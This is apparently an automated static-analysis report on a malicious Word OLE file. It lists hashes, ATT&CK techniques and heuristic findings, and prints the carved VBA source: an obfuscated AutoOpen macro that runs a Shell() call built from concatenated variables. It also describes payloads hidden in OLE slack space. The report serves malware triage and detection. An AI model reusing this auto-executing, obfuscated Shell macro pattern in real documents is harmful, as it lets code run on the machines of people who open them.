Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b001033a0916c341…

MALICIOUS

Office (OLE)

184.0 KB Created: 2018-08-14 14:39:00 Authoring application: Microsoft Office Word First seen: 2020-01-07
MD5: 21bb6720e94256faa0b001a035f30daf SHA-1: aca34c75fcbacb0841f8d276f697079b2e67a32f SHA-256: b001033a0916c341c84aa457e4c1e0c30342d23a24faedce97350f6e52dbedf2
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains a legacy WordBasic AutoOpen macro that utilizes a Shell() call, indicating an attempt to execute arbitrary code. The macro's obfuscated nature and the presence of a Shell() call suggest it is designed to download and execute a secondary payload. The large slack space in the OLE structure is also a common indicator of packed or obfuscated malicious content.

Heuristics 6

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 188,416 bytes but its declared streams total only 103,791 bytes — 84,625 bytes (45%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 918 bytes
SHA-256: 7501aef805f6df0e00392a70e6387c449f6324108ebbc0155251e210e33d162c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "OmoMQRWfuf"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
   TypeName CStr(mFQPq / nsAFk * 64898 + iiEnm)
   TypeName CLng(wwWpTZ)
   TypeName Int(udQoj / kizjB)
   TypeName 5937
   TypeName 303
   TypeName CDbl(71114 + OUREb)
VBA.Shell# KeyString(RALlaOrZSCpVQ + biWfFsTEztJmH + vbKeyC + NvRCLPcvtW + NwuSimhNkDi) + zvLrRbjKwpuDNz + ncJOSFFFbazaBk + falHjwul + OuZZdNNq + LnVCn + ljsHIsKHR + LNzmAdu + GwtqTZLtTv + UClrdBdrK + tFpib + NmGinE + sKkuIpnFqC + IlZiOizKKkQ + mLrquNCUiHi + rCVWhVtKLp + DZvRSjKuhX + GivVFWG + twBbWcQYM + XUnHaXScvO + JAPUpHOwb + hrpGQrcIJ, 994506110 - 994506110
   TypeName Tan(hSKjFh)
   TypeName OHCqw
End Sub

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